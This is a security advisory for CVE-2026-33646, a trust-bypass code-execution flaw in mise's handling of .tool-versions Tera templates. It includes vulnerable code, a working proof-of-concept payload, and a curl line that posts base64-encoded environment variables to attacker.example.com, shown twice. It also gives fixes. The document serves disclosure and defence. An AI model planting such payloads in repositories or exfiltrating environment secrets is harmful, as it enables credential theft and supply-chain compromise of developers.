CVE-2026-33646: Mise Mise Vulnerable To Arbitrary Code Vulnerability

CRITICAL
Advisory Identifier: GHSA-fjj5-v948-whjj
CVSS 9.6
CWE-94
Published
Advisory Summary

CVE-2026-33646 is a CRITICAL (CVSS 9.6) mise vulnerable to arbitrary code vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Mise libraries in the crates.io ecosystem. The issue involves mise vulnerable to arbitrary code execution via tera templates in .tool-versions files (trust bypass). Remediation is available by upgrading affected packages to version 2026.3.10.

CVE-2026-33646 at a Glance

CVE Identifier CVE-2026-33646
GHSA Identifier GHSA-fjj5-v948-whjj
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Mise
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33646

To remediate this vulnerability, upgrade all affected Mise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mise fixed: 2026.3.10
Upgrade mise to 2026.3.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for mise

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33646, inspect your project dependencies for Mise:

inspect dependencies for mise

Analyze the terminal output to locate any version of Mise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.3.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Mise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Mise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt. ## Vulnerability Details ### Vulnerable Code **File:** `src/config/config_file/tool_versions.rs`, lines 60-63 ```rust pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check // ... } ``` **File:** `src/tera.rs`, lines 385-391 ```rust pub fn get_tera(dir: Option<&Path>) -> Tera { let mut tera = TERA.clone(); let dir = dir.map(PathBuf::from); tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone())); tera.register_function("read_file", tera_read_file(dir)); tera } ``` **File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions. **File:** `src/config/config_file/mod.rs`, lines 272-287 ```rust pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> { if let Ok(settings) = Settings::try_get() && settings.paranoid { trust_check(path)?; // Only in paranoid mode! } match detect_config_file_type(path).await { // ... Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)), // ... } } ``` ### Attack Vector 1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function. 2. The victim clones the repository and has mise activated in their shell (via `eval "$(mise activate zsh)"` or equivalent). 3. When the victim `cd`s into the repository directory, mise's shell hook (`hook-env`) fires automatically. 4. `hook-env` loads and parses config files, including `.tool-versions`. 5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`. 6. The Tera engine evaluates `{{ exec(command="...") }}`, executing arbitrary commands as the victim's user. 7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode. ### Execution Context - Commands execute as the current user with full access to their environment. - The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.). - Execution happens silently during the prompt hook -- the user sees no indication that code was run. ### Contrast with .mise.toml `.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely. ## Steps to Reproduce ### Prerequisites - mise installed (`brew install mise` or equivalent) - Shell activation enabled: `eval "$(mise activate zsh)"` (or bash/fish) - Default settings (paranoid mode NOT enabled — this is the default) ### PoC: Silent RCE on `cd` **Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`: ```bash mkdir -p /tmp/poc-mise-repo cd /tmp/poc-mise-repo git init cat > .tool-versions << 'EOF' {{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0 python 3.11.0 EOF git add -A && git commit -m "Initial commit" ``` Note: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`. **Step 2:** In a new shell with mise activated, enter the directory: ```bash eval "$(mise activate zsh)" cd /tmp/poc-mise-repo ``` **Step 3:** Verify arbitrary code execution: ```bash cat /tmp/mise-rce-proof ``` **Expected output:** ``` uid=501(youruser) gid=20(staff) groups=20(staff),... SUCCESS=youruser Mon Mar 16 21:34:46 IST 2026 ``` No trust prompt, no warning, no error output. The `id` command executed silently as the current user. ### Validated Test Results Tested on 2026-03-16 with: - mise 2026.3.9 macos-arm64 - macOS Darwin 24.5.0 arm64 - zsh 5.9 - Paranoid mode: `false` (default) **Test 1 — `.tool-versions` (no trust check):** ``` $ rm -f /tmp/mise-rce-proof $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd' /tmp/poc-mise-repo $ cat /tmp/mise-rce-proof uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... SUCCESS=golan Mon Mar 16 21:34:46 IST 2026 ``` Command executed silently. No trust prompt. No errors. **Test 2 — `.mise.toml` with same payload (trust check blocks execution):** ``` $ mkdir -p /tmp/poc-mise-toml $ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF' [tools] node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0" TOMLEOF $ rm -f /tmp/mise-hook-pwned $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd' mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted. Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html $ cat /tmp/mise-hook-pwned cat: /tmp/mise-hook-pwned: No such file or directory ``` `.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely. ### Alternative PoC (data exfiltration) ``` {{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0 ``` ## Impact - **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file. - **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content. - **Silent execution**: No trust prompt, warning, or user interaction required. - **Full user privilege escalation**: Commands run with the full privileges and environment of the current user. - **Credential theft**: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command. - **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers' machines. ## Suggested Fix ### Option 1: Add trust_check to .tool-versions parsing (recommended) ```rust // In src/config/config_file/tool_versions.rs pub fn from_file(path: &Path) -> Result<Self> { trace!("parsing tool-versions: {}", path.display()); Self::parse_str(&file::read_to_string(path)?, path.to_path_buf()) } pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); // Only use tera if the file contains template syntax AND is trusted let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") { trust_check(&path)?; get_tera(dir).render_str(s, &cf.context)? } else { s.to_string() }; // ... } ``` ### Option 2: Remove exec() from .tool-versions tera context Create a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing. ### Option 3: Remove tera processing from .tool-versions entirely `.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.

CVE-2026-33646 Affected Mise Versions

1 component(s)
Fixed Versions:
2026.3.10
Product / Package Ecosystem Affected Versions Fixed Version
mise
crates.io
< 2026.3.10
2026.3.10

References

Frequently Asked Questions

What is CVE-2026-33646?
CVE-2026-33646 is a security vulnerability in Mise involving Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Mise versions are affected?
Affected versions include releases prior to 2026.3.10 across affected packages: mise.
What version fixes CVE-2026-33646?
Upgrading to 2026.3.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mise affected?
Yes, mise is affected in releases prior to 2026.3.10. Upgrade your dependency to 2026.3.10 or later.
What is the CVSS score of CVE-2026-33646?
CVE-2026-33646 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33646?
CVE-2026-33646 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check crates.io dependencies for CVE-2026-33646?
Run the dependency tree command: 'inspect dependencies for mise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fjj5-v948-whjj",
  "modified" : "2026-07-21T15:04:14Z",
  "published" : "2026-06-22T17:19:56Z",
  "aliases" : [ "CVE-2026-33646" ],
  "summary" : "Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)",
  "details" : "## Summary\n\nMise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt.\n\n## Vulnerability Details\n\n### Vulnerable Code\n\n**File:** `src/config/config_file/tool_versions.rs`, lines 60-63\n\n```rust\npub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {\n    let mut cf = Self::init(&path);\n    let dir = path.parent();\n    let s = get_tera(dir).render_str(s, &cf.context)?;  // <-- No trust check\n    // ...\n}\n```\n\n**File:** `src/tera.rs`, lines 385-391\n\n```rust\npub fn get_tera(dir: Option<&Path>) -> Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\n**File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions.\n\n**File:** `src/config/config_file/mod.rs`, lines 272-287\n\n```rust\npub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {\n    if let Ok(settings) = Settings::try_get()\n        && settings.paranoid\n    {\n        trust_check(path)?;  // Only in paranoid mode!\n    }\n    match detect_config_file_type(path).await {\n        // ...\n        Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),\n        // ...\n    }\n}\n```\n\n### Attack Vector\n\n1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function.\n2. The victim clones the repository and has mise activated in their shell (via `eval \"$(mise activate zsh)\"` or equivalent).\n3. When the victim `cd`s into the repository directory, mise's shell hook (`hook-env`) fires automatically.\n4. `hook-env` loads and parses config files, including `.tool-versions`.\n5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`.\n6. The Tera engine evaluates `{{ exec(command=\"...\") }}`, executing arbitrary commands as the victim's user.\n7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode.\n\n### Execution Context\n\n- Commands execute as the current user with full access to their environment.\n- The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).\n- Execution happens silently during the prompt hook -- the user sees no indication that code was run.\n\n### Contrast with .mise.toml\n\n`.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- mise installed (`brew install mise` or equivalent)\n- Shell activation enabled: `eval \"$(mise activate zsh)\"` (or bash/fish)\n- Default settings (paranoid mode NOT enabled — this is the default)\n\n### PoC: Silent RCE on `cd`\n\n**Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`:\n\n```bash\nmkdir -p /tmp/poc-mise-repo\ncd /tmp/poc-mise-repo\ngit init\n\ncat > .tool-versions << 'EOF'\n{{ exec(command=\"id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof\") }}node 20.0.0\npython 3.11.0\nEOF\n\ngit add -A && git commit -m \"Initial commit\"\n```\n\nNote: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`.\n\n**Step 2:** In a new shell with mise activated, enter the directory:\n\n```bash\neval \"$(mise activate zsh)\"\ncd /tmp/poc-mise-repo\n```\n\n**Step 3:** Verify arbitrary code execution:\n\n```bash\ncat /tmp/mise-rce-proof\n```\n\n**Expected output:**\n```\nuid=501(youruser) gid=20(staff) groups=20(staff),...\nSUCCESS=youruser\nMon Mar 16 21:34:46 IST 2026\n```\n\nNo trust prompt, no warning, no error output. The `id` command executed silently as the current user.\n\n### Validated Test Results\n\nTested on 2026-03-16 with:\n- mise 2026.3.9 macos-arm64\n- macOS Darwin 24.5.0 arm64\n- zsh 5.9\n- Paranoid mode: `false` (default)\n\n**Test 1 — `.tool-versions` (no trust check):**\n```\n$ rm -f /tmp/mise-rce-proof\n$ zsh -c 'eval \"$(mise activate zsh)\" && cd /tmp/poc-mise-repo && pwd'\n/tmp/poc-mise-repo\n$ cat /tmp/mise-rce-proof\nuid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\nSUCCESS=golan\nMon Mar 16 21:34:46 IST 2026\n```\n\nCommand executed silently. No trust prompt. No errors.\n\n**Test 2 — `.mise.toml` with same payload (trust check blocks execution):**\n```\n$ mkdir -p /tmp/poc-mise-toml\n$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'\n[tools]\nnode = \"{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0\"\nTOMLEOF\n$ rm -f /tmp/mise-hook-pwned\n$ zsh -c 'eval \"$(mise activate zsh)\" && cd /tmp/poc-mise-toml && pwd'\nmise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.\nTrust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html\n$ cat /tmp/mise-hook-pwned\ncat: /tmp/mise-hook-pwned: No such file or directory\n```\n\n`.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely.\n\n### Alternative PoC (data exfiltration)\n\n```\n{{ exec(command=\"curl -s -X POST -d \\\"$(env | base64)\\\" https://attacker.example.com/collect -o /dev/null\") }}python 3.11.0\n```\n\n## Impact\n\n- **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file.\n- **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.\n- **Silent execution**: No trust prompt, warning, or user interaction required.\n- **Full user privilege escalation**: Commands run with the full privileges and environment of the current user.\n- **Credential theft**: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.\n- **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers' machines.\n\n## Suggested Fix\n\n### Option 1: Add trust_check to .tool-versions parsing (recommended)\n\n```rust\n// In src/config/config_file/tool_versions.rs\npub fn from_file(path: &Path) -> Result<Self> {\n    trace!(\"parsing tool-versions: {}\", path.display());\n    Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())\n}\n\npub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {\n    let mut cf = Self::init(&path);\n    let dir = path.parent();\n    // Only use tera if the file contains template syntax AND is trusted\n    let s = if s.contains(\"{{\") || s.contains(\"{%\") || s.contains(\"{#\") {\n        trust_check(&path)?;\n        get_tera(dir).render_str(s, &cf.context)?\n    } else {\n        s.to_string()\n    };\n    // ...\n}\n```\n\n### Option 2: Remove exec() from .tool-versions tera context\n\nCreate a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing.\n\n### Option 3: Remove tera processing from .tool-versions entirely\n\n`.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "mise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.3.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33646"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jdx/mise"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T17:19:56Z",
    "nvd_published_at" : "2026-06-26T18:16:58Z"
  }
}